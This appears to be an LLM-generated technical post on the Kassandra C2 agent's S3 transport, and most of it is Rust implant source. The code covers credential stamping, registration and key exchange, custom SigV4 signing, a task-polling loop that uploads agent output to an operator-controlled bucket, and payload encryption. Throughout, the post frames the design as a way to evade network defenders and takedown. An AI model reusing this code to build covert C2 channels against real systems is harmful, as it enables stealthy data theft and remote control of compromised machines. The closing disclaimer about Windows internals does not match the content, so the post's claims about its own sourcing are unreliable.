S3 as a C2 Channel: AWS SigV4 Signing and Encrypted Key Exchange
This post covers how Kassandra uses Amazon S3 as a command-and-control transport layer. It walks through the bootstrap registration protocol that provisions per-execution IAM credentials, the from-scratch AWS Signature Version 4 implementation that signs every request, and the AES-256-CBC encryption layer that protects task payloads. All traffic flows through standard S3 API calls, making it indistinguishable from legitimate AWS SDK usage at the network level.
Why S3 as a C2 Transport
Most C2 frameworks communicate over HTTP or HTTPS to operator-controlled servers. This is effective but creates an obvious indicator: a workstation making repeated HTTPS requests to an unfamiliar domain. Network defenders can block the domain, sinkhole the IP, or flag the traffic based on destination reputation.
S3 changes the equation. The agent’s network traffic goes to *.s3.amazonaws.com (or a compatible endpoint), which is the same destination used by thousands of legitimate applications [1]. Cloud backup tools, desktop sync clients, CI/CD pipelines, and internal business applications all generate S3 traffic constantly. Blocking S3 endpoints wholesale would break too many things to be practical in most enterprise environments.
The S3 transport also eliminates the need for operator-controlled server infrastructure. There is no C2 server to discover, fingerprint, or take down. The operator and agent communicate through objects in a shared bucket, each reading what the other writes. The bucket itself is ephemeral and can be recreated with new credentials at any time.
S3 Configuration: Build-Time Stamping
Kassandra’s S3 transport parameters are stamped into the binary at build time via template substitution in config.rs:
// From: kassandra/src/config.rs
pub static use_s3: bool = %USE_S3%;
pub static s3_endpoint: &str = "%S3_ENDPOINT%";
pub static s3_bucket: &str = "%S3_BUCKET%";
pub static s3_region: &str = "%S3_REGION%";
// Bootstrap credentials (used only during registration)
pub static s3_payload_prefix: &str = "%S3_PAYLOAD_PREFIX%";
pub static s3_bootstrap_access_key_id: &str = "%S3_BOOTSTRAP_ACCESS_KEY_ID%";
pub static s3_bootstrap_secret_access_key: &str = "%S3_BOOTSTRAP_SECRET_ACCESS_KEY%";
The bootstrap credentials are deliberately scoped to a narrow set of S3 actions. They exist only to complete the initial registration handshake. After registration, the agent switches to per-execution credentials that the Mythic server provisions dynamically. The bootstrap keys can be rotated or revoked without affecting running agents.
Runtime credentials are stored in RwLock-protected globals:
// From: kassandra/src/config.rs
pub static S3_EXEC_ACCESS_KEY: Lazy<RwLock<String>> = Lazy::new(|| RwLock::new(String::new()));
pub static S3_EXEC_SECRET_KEY: Lazy<RwLock<String>> = Lazy::new(|| RwLock::new(String::new()));
pub static S3_EXEC_PREFIX: Lazy<RwLock<String>> = Lazy::new(|| RwLock::new(String::new()));
// Session key for AES-256-CBC encryption (populated during EKE)
pub static SESSION_KEY: Lazy<RwLock<Vec<u8>>> = Lazy::new(|| RwLock::new(Vec::new()));
Bootstrap Registration: UUID, Session Key, and Encrypted Key Exchange
When the agent starts with S3 enabled, main.rs calls s3_transport::register() in a retry loop before entering the task loop:
// From: kassandra/src/main.rs
if config::use_s3 {
loop {
match s3_transport::register() {
Ok(_) => break,
Err(e) => {
eprintln!("[REG] Registration failed: {}, retrying...", e);
helpers::sleep_with_jitter();
}
}
}
}
The registration function implements a multi-step handshake. First, it generates a random UUID to identify this execution and, if a pre-shared key (PSK) is configured, performs an encrypted key exchange:
// From: kassandra/src/s3_transport.rs
pub fn register() -> Result<(), Box<dyn std::error::Error>> {
let runtime_uuid = uuid::Uuid::new_v4().to_string();
let bootstrap_ak = config::s3_bootstrap_access_key_id;
let bootstrap_sk = config::s3_bootstrap_secret_access_key;
let payload_prefix = config::s3_payload_prefix;
// Encrypted Key Exchange: generate session key, encrypt with PSK
let psk_b64 = config::AESPSK;
let psk = if !psk_b64.is_empty() {
Some(general_purpose::STANDARD.decode(psk_b64)?)
} else {
None
};
let req_body = if let Some(ref psk_bytes) = psk {
// Generate random session key
let mut session_key = vec![0u8; 32];
getrandom::getrandom(&mut session_key).expect("failed to generate session key");
// Store session key for later verification
{
let mut sk = config::SESSION_KEY.write().unwrap();
*sk = session_key.clone();
}
// Encrypt session key with PSK
let encrypted = crypto::encrypt_message(psk_bytes, &session_key);
general_purpose::STANDARD.encode(&encrypted).into_bytes()
} else {
b"register".to_vec()
};
// PUT registration request
let req_key = format!("register/{}/{}.req", payload_prefix, runtime_uuid);
let result = s3_op("PUT", &req_key, &req_body, bootstrap_ak, bootstrap_sk)?;
// ...
The EKE protocol works as follows:
- The agent generates a random 32-byte session key using
getrandom. - It encrypts the session key with the PSK using AES-256-CBC + HMAC-SHA256 (covered in detail below).
- It base64-encodes the ciphertext and PUTs it to
register/<prefix>/<uuid>.req. - The Mythic server decrypts the session key with the same PSK, provisions IAM credentials, and writes a
.credsJSON file. - The agent polls for
register/<prefix>/<uuid>.creds, then verifies the key exchange by comparing SHA-256 hashes.
The verification step ensures both sides derived the same session key:
// From: kassandra/src/s3_transport.rs
if psk.is_some() {
let session_key = config::SESSION_KEY.read().unwrap();
let expected_hash = sha256_hex(&session_key);
let server_hash = creds.get("session_key_hash")
.and_then(|v| v.as_str())
.unwrap_or("");
if expected_hash != server_hash {
return Err("Encrypted key exchange verification failed".into());
}
}
If the hashes do not match, the agent refuses to continue. This prevents a man-in-the-middle from substituting credentials without knowing the PSK.
Polling for Credentials and IAM Propagation Probing
After uploading the registration request, the agent polls for the .creds file with jittered sleep intervals, up to 60 attempts:
// From: kassandra/src/s3_transport.rs
let creds_key = format!("register/{}/{}.creds", payload_prefix, runtime_uuid);
let mut creds_data = None;
for _ in 0..60 {
crate::helpers::sleep_with_jitter();
match s3_op("GET", &creds_key, b"", bootstrap_ak, bootstrap_sk)? {
Some(data) => {
creds_data = Some(data);
break;
}
None => continue,
}
}
Once credentials arrive, the agent parses access_key_id, secret_access_key, and exec_prefix from the JSON, stores them, and deletes the .creds file to minimize the window of exposure.
IAM credentials do not propagate instantaneously. AWS IAM has an eventual consistency model where newly created credentials can take several seconds to become usable across all S3 endpoints [2]. Kassandra handles this explicitly by probing the new credentials with a PUT/DELETE test cycle, retrying every 5 seconds for up to 60 seconds:
// From: kassandra/src/s3_transport.rs
let probe_key = format!("{}/ats/.probe", exec_prefix);
let mut propagated = false;
for _ in 0..12 {
std::thread::sleep(Duration::from_secs(5));
match s3_op("PUT", &probe_key, b"probe", exec_ak, exec_sk) {
Ok(Some(_)) => {
let _ = s3_op("DELETE", &probe_key, b"", exec_ak, exec_sk);
propagated = true;
break;
}
_ => continue,
}
}
if !propagated {
return Err("Exec credentials failed to propagate after 60s".into());
}
The probe object is immediately deleted after a successful PUT. If propagation does not complete within 60 seconds, registration fails and the retry loop in main.rs restarts the entire process.
AWS SigV4 Signing from Scratch
Kassandra does not use the AWS SDK. Instead, it implements AWS Signature Version 4 signing directly, which avoids pulling in the full AWS SDK dependency tree and the detection surface that comes with it. The implementation follows the four-step process defined in the AWS documentation [3].
Canonical Request Construction
The first step builds a canonical request string from the HTTP method, path, query string, sorted headers, and the SHA-256 hash of the payload:
// From: kassandra/src/s3_transport.rs
fn sign_request(
method: &str,
path: &str,
query: &str,
payload: &[u8],
host: &str,
content_type: Option<&str>,
access_key: &str,
secret_key: &str,
) -> SignedHeaders {
let now = chrono::Utc::now();
let amz_date = now.format("%Y%m%dT%H%M%SZ").to_string();
let date_stamp = now.format("%Y%m%d").to_string();
let content_sha256 = sha256_hex(payload);
let mut headers: Vec<(String, String)> = vec![
("host".into(), host.into()),
("x-amz-content-sha256".into(), content_sha256.clone()),
("x-amz-date".into(), amz_date.clone()),
];
if let Some(ct) = content_type {
headers.push(("content-type".into(), ct.into()));
}
headers.sort_by(|a, b| a.0.cmp(&b.0));
let canonical_headers: String = headers.iter()
.map(|(k, v)| format!("{}:{}\n", k, v))
.collect();
let signed_headers: String = headers.iter()
.map(|(k, _)| k.as_str())
.collect::<Vec<_>>()
.join(";");
let canonical_request = format!(
"{}\n{}\n{}\n{}\n{}\n{}",
method, path, query, canonical_headers, signed_headers, content_sha256,
);
// ...
The canonical request follows the exact format AWS specifies [3]: method, URI path, query string, sorted headers (each terminated by a newline), signed header names joined by semicolons, and the hex-encoded SHA-256 of the body. Headers are sorted lexicographically by lowercase name.
String-to-Sign and Credential Scope
The canonical request is then hashed and combined with the timestamp and credential scope:
// From: kassandra/src/s3_transport.rs
let credential_scope = format!("{}/{}/s3/aws4_request", date_stamp, config::s3_region);
let string_to_sign = format!(
"AWS4-HMAC-SHA256\n{}\n{}\n{}",
amz_date, credential_scope, sha256_hex(canonical_request.as_bytes()),
);
The credential scope binds the signature to a specific date, region, and service. A signature generated for us-east-1 on 2025-07-12 cannot be replayed against eu-west-1 or on a different date [3].
Four-Step HMAC Key Derivation
The signing key is derived through a chain of four HMAC-SHA256 operations, each narrowing the scope:
// From: kassandra/src/s3_transport.rs
fn signing_key(secret: &str, date_stamp: &str, region: &str) -> Vec<u8> {
let k_date = hmac_sha256(format!("AWS4{}", secret).as_bytes(), date_stamp.as_bytes());
let k_region = hmac_sha256(&k_date, region.as_bytes());
let k_service = hmac_sha256(&k_region, b"s3");
hmac_sha256(&k_service, b"aws4_request")
}
The derivation starts by prepending "AWS4" to the secret access key, then chains: secret + date, then + region, then + service ("s3"), then + "aws4_request". Each step produces a 32-byte key for the next. The final key signs the string-to-sign [3].
Authorization Header Assembly
The final signature is hex-encoded and assembled into the Authorization header:
// From: kassandra/src/s3_transport.rs
let key = signing_key(secret_key, &date_stamp, config::s3_region);
let signature = hex::encode(hmac_sha256(&key, string_to_sign.as_bytes()));
let authorization = format!(
"AWS4-HMAC-SHA256 Credential={}/{}, SignedHeaders={}, Signature={}",
access_key, credential_scope, signed_headers, signature,
);
SignedHeaders { authorization, amz_date, content_sha256 }
The resulting header looks like: AWS4-HMAC-SHA256 Credential=AKIA.../20250712/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=abcdef.... This is identical to what the official AWS SDK produces.
The S3 Operation Helper
All S3 communication flows through a single s3_op function that constructs the virtual-hosted-style URL, signs the request, and handles the HTTP call:
// From: kassandra/src/s3_transport.rs
fn s3_op(
method: &str,
full_key: &str,
data: &[u8],
access_key: &str,
secret_key: &str,
) -> Result<Option<Vec<u8>>, Box<dyn std::error::Error>> {
let host = s3_host();
let path = format!("/{}", full_key);
let url = format!("https://{}/{}", host, full_key);
let ct = if method == "PUT" { Some("application/octet-stream") } else { None };
let signed = sign_request(method, &path, "", data, &host, ct, access_key, secret_key);
let client = build_client()?;
let builder = match method {
"PUT" => client.put(&url)
.body(data.to_vec())
.header("Content-Type", "application/octet-stream"),
"GET" => client.get(&url),
"DELETE" => client.delete(&url),
_ => return Err("unsupported method".into()),
};
let resp = builder
.header("Authorization", &signed.authorization)
.header("x-amz-date", &signed.amz_date)
.header("x-amz-content-sha256", &signed.content_sha256)
.header("Host", &host)
.send()?;
let status = resp.status().as_u16();
if status == 403 || status == 404 {
return Ok(None);
}
// ...
The function returns Ok(None) for 403 and 404, which the caller interprets as “not ready yet” during polling. The HTTP client is configured with danger_accept_invalid_certs and a 30-second timeout, accommodating S3-compatible endpoints that may use self-signed certificates.
The host is constructed in virtual-hosted style, prepending the bucket name to the endpoint:
// From: kassandra/src/s3_transport.rs
fn s3_host() -> String {
let endpoint = config::s3_endpoint;
let host_part = endpoint
.replace("https://", "")
.replace("http://", "");
format!("{}.{}", config::s3_bucket, host_part)
}
Task and Response Flow: Agent-to-Server and Server-to-Agent
After registration, the agent communicates through send_and_receive. The protocol uses two key prefixes under the exec prefix: ats/ (agent-to-server) for uploads and sta/ (server-to-agent) for responses.
// From: kassandra/src/s3_transport.rs
pub fn send_and_receive(payload: &str) -> Result<String, Box<dyn std::error::Error>> {
let (ak, sk, prefix) = exec_creds();
let uuid = config::UUID.read().unwrap();
let full_msg = format!("{}{}", *uuid, payload);
let encoded = general_purpose::STANDARD.encode(&full_msg);
drop(uuid);
// Encrypt if session key is set
let send_data = encrypt_if_enabled(encoded.as_bytes());
let msg_id = uuid::Uuid::new_v4().to_string();
let ats_key = format!("{}/ats/{}.obj", prefix, msg_id);
let sta_key = format!("{}/sta/{}.obj", prefix, msg_id);
// Upload message
s3_op("PUT", &ats_key, &send_data, &ak, &sk)?;
// Poll for response
loop {
crate::helpers::sleep_with_jitter();
match s3_op("GET", &sta_key, b"", &ak, &sk)? {
Some(data) => {
let _ = s3_op("DELETE", &sta_key, b"", &ak, &sk);
// ...
Each message gets a unique UUID, so the agent knows exactly which S3 key to poll for the response. The message format is base64(agent_uuid + json_payload), optionally encrypted. On the response side, the same format is decoded: base64-decode, strip the 36-character UUID prefix, and parse the remaining JSON.
The encryption wrapper is transparent. If a session key was established during EKE, all payloads are encrypted; otherwise they pass through unmodified:
// From: kassandra/src/s3_transport.rs
fn encrypt_if_enabled(data: &[u8]) -> Vec<u8> {
let sk = config::SESSION_KEY.read().unwrap();
if sk.is_empty() {
data.to_vec()
} else {
crypto::encrypt_message(&sk, data)
}
}
fn decrypt_if_enabled(data: &[u8]) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
let sk = config::SESSION_KEY.read().unwrap();
if sk.is_empty() {
Ok(data.to_vec())
} else {
crypto::decrypt_message(&sk, data)
.map_err(|e| format!("Decryption failed: {}", e).into())
}
}
AES-256-CBC Encryption with HMAC-SHA256 Authentication
The crypto module in crypto.rs implements AES-256-CBC with HMAC-SHA256 in an encrypt-then-MAC construction. This is not the S3 transport encryption (that is TLS); it is an application-layer encryption using the session key established during the EKE handshake.
Key Derivation
A single 32-byte session key is split into separate encryption and MAC keys using HMAC-based derivation with distinct labels:
// From: kassandra/src/crypto.rs
fn derive_keys(key: &[u8]) -> ([u8; 32], [u8; 32]) {
let mut h = new_hmac(key);
h.update(b"s3c2-enc");
let enc_key: [u8; 32] = h.finalize().into_bytes().into();
let mut h = new_hmac(key);
h.update(b"s3c2-mac");
let mac_key: [u8; 32] = h.finalize().into_bytes().into();
(enc_key, mac_key)
}
Using distinct labels ("s3c2-enc" and "s3c2-mac") ensures that the encryption key and MAC key are cryptographically independent even though they derive from the same root. Reusing a single key for both encryption and authentication would weaken the construction [4].
Encryption: IV, CBC, PKCS7, Then MAC
The encryption function generates a random 16-byte IV, applies PKCS7 padding, performs AES-256-CBC block-by-block, and appends an HMAC-SHA256 tag over the IV and ciphertext:
// From: kassandra/src/crypto.rs
pub fn encrypt_message(key: &[u8], plaintext: &[u8]) -> Vec<u8> {
let (enc_key, mac_key) = derive_keys(key);
let cipher = Aes256::new(GenericArray::from_slice(&enc_key));
let mut iv = [0u8; 16];
getrandom::getrandom(&mut iv).expect("failed to generate random IV");
let padded = pkcs7_pad(plaintext);
let mut ciphertext = Vec::with_capacity(padded.len());
let mut prev = iv;
for chunk in padded.chunks(16) {
let mut xored = [0u8; 16];
for i in 0..16 { xored[i] = chunk[i] ^ prev[i]; }
let mut block = GenericArray::clone_from_slice(&xored);
cipher.encrypt_block(&mut block);
ciphertext.extend_from_slice(block.as_slice());
prev.copy_from_slice(block.as_slice());
}
let tag: [u8; 32] = {
let mut mac = new_hmac(&mac_key);
mac.update(&iv);
mac.update(&ciphertext);
mac.finalize().into_bytes().into()
};
let mut out = Vec::with_capacity(16 + ciphertext.len() + 32);
out.extend_from_slice(&iv);
out.extend_from_slice(&ciphertext);
out.extend_from_slice(&tag);
out
}
The output format is [16-byte IV][ciphertext][32-byte HMAC tag]. The HMAC covers both the IV and the ciphertext, preventing IV tampering.
Decryption: Verify MAC First, Then Decrypt
The decryption path verifies the HMAC before touching any ciphertext, following the authenticate-then-decrypt pattern:
// From: kassandra/src/crypto.rs
pub fn decrypt_message(key: &[u8], data: &[u8]) -> Result<Vec<u8>, &'static str> {
if data.len() < 48 { return Err("data too short"); }
let (enc_key, mac_key) = derive_keys(key);
let iv = &data[..16];
let tag = &data[data.len()-32..];
let ct = &data[16..data.len()-32];
if ct.len() % 16 != 0 { return Err("invalid ciphertext length"); }
// Verify HMAC (constant-time via hmac crate)
let mut mac = new_hmac(&mac_key);
mac.update(iv);
mac.update(ct);
mac.verify_slice(tag).map_err(|_| "authentication failed")?;
// AES-256-CBC decrypt
let cipher = Aes256::new(GenericArray::from_slice(&enc_key));
let mut plaintext = Vec::with_capacity(ct.len());
let mut prev: Vec<u8> = iv.to_vec();
for chunk in ct.chunks(16) {
let mut block = GenericArray::clone_from_slice(chunk);
cipher.decrypt_block(&mut block);
for i in 0..16 { plaintext.push(block[i] ^ prev[i]); }
prev = chunk.to_vec();
}
pkcs7_unpad(&plaintext).ok_or("bad padding")
}
The minimum length check (data.len() < 48) ensures there is room for at least a 16-byte IV and a 32-byte tag. The HMAC verification uses constant-time comparison via the hmac crate’s verify_slice method, preventing timing side-channels [4]. Only after authentication passes does the function proceed to decrypt and remove PKCS7 padding.
Limitations
- No credential rotation during execution. Once the agent receives its exec credentials, it uses them for the entire session. If the credentials are revoked, the agent cannot recover without restarting the full registration flow.
- S3 bucket as single point of failure. If the bucket is deleted or the IAM policy is changed, all agents using that bucket lose communication simultaneously.
- Polling-based latency. The agent polls for responses with jittered sleep intervals. This introduces variable latency compared to a push-based transport like WebSockets, and generates periodic GET requests even when no tasks are pending.
- No forward secrecy. The session key is encrypted under a static PSK. If the PSK is compromised, all past and future sessions using that PSK can be decrypted.
- Build-time credential embedding. The bootstrap credentials are compiled into the binary. Static analysis or memory forensics on a captured agent reveals the bootstrap keys, though these are scoped to registration only.
This post was generated by an LLM based on code from Kassandra. All code snippets are from the actual repository. Claims about Windows internals are sourced from Microsoft documentation.
References
[1] AWS, “Amazon S3 Endpoints and Quotas” - docs.aws.amazon.com
[2] AWS, “Changes that I make are not always immediately visible” - docs.aws.amazon.com
[3] AWS, “Signature Version 4 signing process” - docs.aws.amazon.com
[4] Moxie Marlinspike, “The Cryptographic Doom Principle” - thoughtcrime.org